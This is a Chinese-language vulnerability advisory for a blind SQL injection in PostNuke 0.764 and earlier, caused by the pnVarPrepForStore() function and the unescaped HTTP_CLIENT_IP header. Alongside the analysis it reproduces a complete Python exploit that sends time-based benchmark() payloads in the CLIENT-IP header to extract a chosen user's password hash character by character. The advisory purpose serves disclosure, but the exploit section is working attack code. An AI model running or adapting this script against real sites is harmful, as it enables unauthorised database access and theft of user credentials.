PostNuke pnVarPrepForStore()函数SQL注入漏洞


添加时间:
2008-10-04

系统编号:
WAVDB-01148
BUGTRAQ: 28407

影响版本:
PostNuke <= 0.764

程序介绍:

PostNuke是一款开放源码、开放开发的内容管理系统(CMS)。

漏洞分析:

PostNuke的pnVarPrepForStore()函数中存在SQL盲注漏洞,远程攻击者可能利用此漏洞非授权操作数据库。

以下是有漏洞部分的代码:

 
  1.                                                                                             
  2. function pnVarPrepForStore()                                                             
  3.                                                                                         
  4.     $resarray = array();                                                                 
  5.     foreach (func_get_args() as $ourvar) {                                               
  6.         if (!get_magic_quotes_runtime() && !is_array($ourvar)) {                         
  7.             $ourvar = addslashes($ourvar);                                               
  8.            }                                                                           
  9.         // Add to array                                                                  
  10.         array_push($resarray$ourvar);                                                  
  11.     }                                                                                   
  12.     // Return vars                                                                      
  13.     if (func_num_args() == 1) {                                                         
  14.         return $resarray[0];                                                            
  15.     } else {                                                                            
  16.        return $resarray;                                                               
  17.    }                                                                                   
  18. }                                                                                              

这个函数用于准备sql查询的变量,向给出的变量添加斜线。如果在服务器配置中打开了magic_quotes_runtime()的话,由于变量已经清除,因此脚本不会执行任何操作。这允许攻击者通过提交恶意的SQL查询请求执行SQL注入攻击。



漏洞利用:

 
  1. #!/usr/bin/python  
  2. #=================================================================================================#   
  3. #                     ____            __________         __             ____  __                  #  
  4. #                    /_   | ____     |__\_____  \  _____/  |_          /_   |/  |_                #  
  5. #                     |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\               #  
  6. #                     |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |                 #  
  7. #                     |___|___|  /\__|  /______  /\___  >__|            |___||__|                 #  
  8. #                              \/\______|      \/     \/                                          #  
  9. #=================================================================================================#  
  10. #                                     This was a priv8 Exploit                                    #  
  11. #=================================================================================================#  
  12. #                            Postnuke <= 0.764                                        #  
  13. #                                 Blind Sql Injection Vulnerability                               #  
  14. #                                         Benchmark Method                                        #  
  15. #                                                                                                 #  
  16. #                                       Vendor:   www.postnuke.com                            #  
  17. #                                     Severity:   High                                            #  
  18. #                                       Author:   The:Paradox                                     #  
  19. #=================================================================================================#   
  20. #                                       Proud To Be Italian.                                      #  
  21. #====================================#============================================================#  
  22. # Proof Of Concept / Bug Explanation #                                                            #    
  23. #====================================#                                                            #       
  24. # Postnuke presents a critical vulnerability in pnVarPrepForStore() function. Let's see source:   #                                                                                                 
  25. #                                                                                                 #  
  26. #                                                                                                 #  
  27. #   1. function pnVarPrepForStore()                                                           #  
  28. #   2. {                                                                                      #  
  29. #   3.     $resarray = array();                                                               #  
  30. #   4.     foreach (func_get_args() as $ourvar) {                                             #  
  31. #   5.         if (!get_magic_quotes_runtime() && !is_array($ourvar)) {                       #  
  32. #   6.             $ourvar = addslashes($ourvar);                                             #  
  33. #   7.          }                                                                         #  
  34. #   8.         // Add to array                                                                #  
  35. #   9.         array_push($resarray, $ourvar);                                                #  
  36. #   10.     }                                                                                 #  
  37. #   11.     // Return vars                                                                    #  
  38. #   12.     if (func_num_args() == 1) {                                                       #  
  39. #   13.         return $resarray[0];                                                          #  
  40. #   14.     } else {                                                                          #  
  41. #   15.         return $resarray;                                                             #  
  42. #   16.     }                                                                                 #  
  43. #   17. }                                                                                     #                
  44. #                                                                                                 #       
  45. # This function is used to prepare vars for sql queries. It "add slashes" to given variables.     #  
  46. # But wat happens if get_magic_quotes_runtime() is On in Server Configuration?                    #   
  47. # The script does nothing 'cause variables should be already cleaned.                             #  
  48. #                                                                                                 #  
  49. # Whatever the script author didn't thought about Server Variables: they are untouched by         #  
  50. # magic_quotes_gpc and magic_quotes_runtime().                                                    #                                                 
  51. # Therefore all Server Variables are not propelly checked with magic_quotes_runtime() On          #  
  52. #                                                                                                 #  
  53. # In this exploit I will inject Sql code in HTTP_CLIENT_IP header, see pnSessionInit() function.  #  
  54. #=================================================================================================#  
  55. # Use this at your own risk. You are responsible for your own deeds.                              #  
  56. #=================================================================================================#                         
  57. """                                                                                                 
  58.                                             Related Codes: 
  59. function pnSessionInit() 
  60. { 
  61.     $dbconn =& pnDBGetConn(true); 
  62.     $pntable =& pnDBGetTables(); 
  63.     // First thing we do is ensure that there is no attempted pollution 
  64.     // of the session namespace 
  65.     foreach($GLOBALS as $k => $v) { 
  66.         if (substr($k,0,4) == 'PNSV') { 
  67.             return false; 
  68.         } 
  69.     } 
  70.     // Kick it 
  71.     session_start(); 
  72.     // Have to re-write the cache control header to remove no-save, this 
  73.     // allows downloading of files to disk for application handlers 
  74.     // adam_baum - no-cache was stopping modules (andromeda) from caching the playlists, et al. 
  75.     // any strange behaviour encountered, revert to commented out code. 
  76.     // Header('Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0'); 
  77.     Header('Cache-Control: cache'); 
  78.  
  79.     $sessid = session_id(); 
  80.     // Get (actual) client IP addr 
  81.     $ipaddr = pnServerGetVar('REMOTE_ADDR'); 
  82.     if (empty($ipaddr)) { 
  83.         $ipaddr = pnServerGetVar('HTTP_CLIENT_IP'); 
  84.     } 
  85.     $tmpipaddr = pnServerGetVar('HTTP_CLIENT_IP'); 
  86.     if (!empty($tmpipaddr)) { 
  87.         $ipaddr = $tmpipaddr; 
  88.     } 
  89.     $fwdipaddr = pnServerGetVar('HTTP_X_FORWARDED_FOR'); 
  90.  
  91.     if (!empty($fwdipaddr) AND strpos($fwdipaddr, ',') !== false) { 
  92.         $fwdipaddr = substr($fwdipaddr,0, strpos($fwdipaddr, ',')); 
  93.     } 
  94.     $tmpipaddr = $fwdipaddr; 
  95.  
  96.     if (!empty($tmpipaddr) AND strpos($tmpipaddr, ',') !== false) { 
  97.         $ipaddr = substr($tmpipaddr,0, strpos($tmpipaddr, ',')); 
  98.     } 
  99.  
  100.     $sessioninfocolumn = &$pntable['session_info_column']; 
  101.     $sessioninfotable = $pntable['session_info']; 
  102.  
  103.     $query = "SELECT $sessioninfocolumn[ipaddr] 
  104.               FROM $sessioninfotable 
  105.               WHERE $sessioninfocolumn[sessid] = '" . pnVarPrepForStore($sessid) . "'"; 
  106.  
  107.     $result =& $dbconn->Execute($query); 
  108.  
  109.     if ($dbconn->ErrorNo() != 0) { 
  110.         return false; 
  111.     } 
  112.  
  113.     if (!$result->EOF) { 
  114. // jgm - this has been commented out so that the nice AOL people 
  115. //       can view PN pages, will examine full implications of this 
  116. //       later 
  117. //        list($dbipaddr) = $result->fields; 
  118.         $result->Close(); 
  119. //        if ($ipaddr == $dbipaddr) { 
  120.             pnSessionCurrent($sessid); 
  121. //        } else { 
  122. //          // Mismatch - destroy the session 
  123. //          session_destroy(); 
  124. //          pnRedirect('index.php'); 
  125. //          return false; 
  126. //        } 
  127.     } else { 
  128.         pnSessionNew($sessid, $ipaddr); 
  129.         // Generate a random number, used for 
  130.         // some authentication 
  131.         srand((double)microtime() * 1000000); 
  132.         pnSessionSetVar('rand', rand()); 
  133.     } 
  134.  
  135.     return true; 
  136. } 
  137.  
  138. function pnSessionNew($sessid='', $ipaddr='') 
  139. { 
  140.     $dbconn =& pnDBGetConn(true); 
  141.     $pntable =& pnDBGetTables(); 
  142.  
  143.     $sessioninfocolumn = &$pntable['session_info_column']; 
  144.     $sessioninfotable = $pntable['session_info']; 
  145.  
  146.     $query = "INSERT INTO $sessioninfotable 
  147.                  ($sessioninfocolumn[sessid], 
  148.                   $sessioninfocolumn[ipaddr], 
  149.                   $sessioninfocolumn[uid], 
  150.                   $sessioninfocolumn[firstused], 
  151.                   $sessioninfocolumn[lastused]) 
  152.               VALUES 
  153.                  ('" . pnVarPrepForStore($sessid) . "', 
  154.                   '" . pnVarPrepForStore($ipaddr) . "', <-- Injection! =) 
  155.                   0, 
  156.                   " . time() . ", 
  157.                   " . time() . ")"; 
  158.  
  159.     $dbconn->Execute($query); 
  160.  
  161.     if ($dbconn->ErrorNo() != 0) { 
  162.         return false; 
  163.     } 
  164.  
  165.     return true; 
  166. } 
  167. """  
  168. #=================================================================================================#                         
  169. #                                      Python Exploit Starts                                      #  
  170. #=================================================================================================#  
  171.   
  172. from httplib import HTTPConnection  
  173. from time import time  
  174. from sys import exit, argv, stdout  
  175.   
  176. print """ 
  177. #=================================================================# 
  178. #                    Postnuke <= 0.764                        # 
  179. #                 Blind Sql Injection Vulnerability               # 
  180. #                         Benchmark Method                        # 
  181. #                                                                 # 
  182. #                     Discovered By The:Paradox                   # 
  183. #                                                                 # 
  184. # Usage:                                                          # 
  185. #  ./pwnpn [Target] [Path] [User_id]                              # 
  186. #                                                                 # 
  187. # Example:                                                        # 
  188. #  ./pwnpn localhost /PostNuke/ 2                                 # 
  189. #  ./pwnpn www.host.com / 2                                       # 
  190. #=================================================================# 
  191. """  
  192.   
  193. if len(argv)<=3:    exit()  
  194. else:   print "[.]Exploit Starting."  
  195.   
  196. prefix = "pn_"  
  197. benchmark = "230000000"   
  198. vtime = 6   
  199. port = 80  
  200.   
  201. target = argv[1]  
  202. path = argv[2]  
  203. uid = argv[3]  
  204.   
  205. j=1  
  206. h4sh = ""  
  207. ht = []  
  208.   
  209. for k in range(48,58):    
  210.     ht.append(k)  
  211. for k in range(97,103):   
  212.     ht.append(k)  
  213. ht.append(0)  
  214.   
  215. # Result Query:  
  216. # INSERT INTO pn_session_info( pn_session_info.pn_sessid, pn_session_info.pn_ipaddr, pn_session_info.pn_uid, pn_session_info.pn_firstused, pn_session_info.pn_lastused )  
  217. # VALUES ('6bc3cf4c67bb4c3b24bdd38dcd8e1b5b', '127.0.0.1', (SELECT IF((ASCII(SUBSTRING(PASSWORD,1,1))=48),benchmark(300000000, CHAR(0)), 0)   
  218. # FROM pn_users WHERE pn_uid =1)/*', 0, 0, 0)  
  219.   
  220. print "[.]Blind Sql Injection Starts.\n\nHash:"  
  221. while j <= 32:  
  222.     for i in ht:  
  223.         if i == 0:  exit('[-]Exploit Failed.\n')  
  224.           
  225.         start = time()  
  226.         conn = HTTPConnection(target,port)  
  227.   
  228.   
  229.         conn.request("GET", path + "index.php", {}, {"Accept""text/plain","CLIENT-IP""127.0.0.1',(SELECT IF((ASCII(SUBSTRING(pn_pass," + str(j) + ",1))=" + str(i) + "),benchmark(" + benchmark + ",CHAR(0)),0) FROM " + prefix + "users WHERE pn_uid=" + uid + "), 0, 0)/*"})  
  230.         response = conn.getresponse()  
  231.         read = response.read()        
  232.           
  233.         if response.status == 404: exit('[-]Error 404. Not Found.')       
  234.         now = time()  
  235.           
  236.         if now - start > vtime:  
  237.             stdout.write(chr(i))  
  238.             stdout.flush()  
  239.             h4sh += chr(i)  
  240.             j += 1  
  241.             break;  
  242.   
  243. print "\n\n[+]All Done.\n-=Paradox Got This One=-"  


解决方案:
厂商补丁:
PostNuke
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.postnuke.com/

信息来源:
<*来源:The:Paradox *>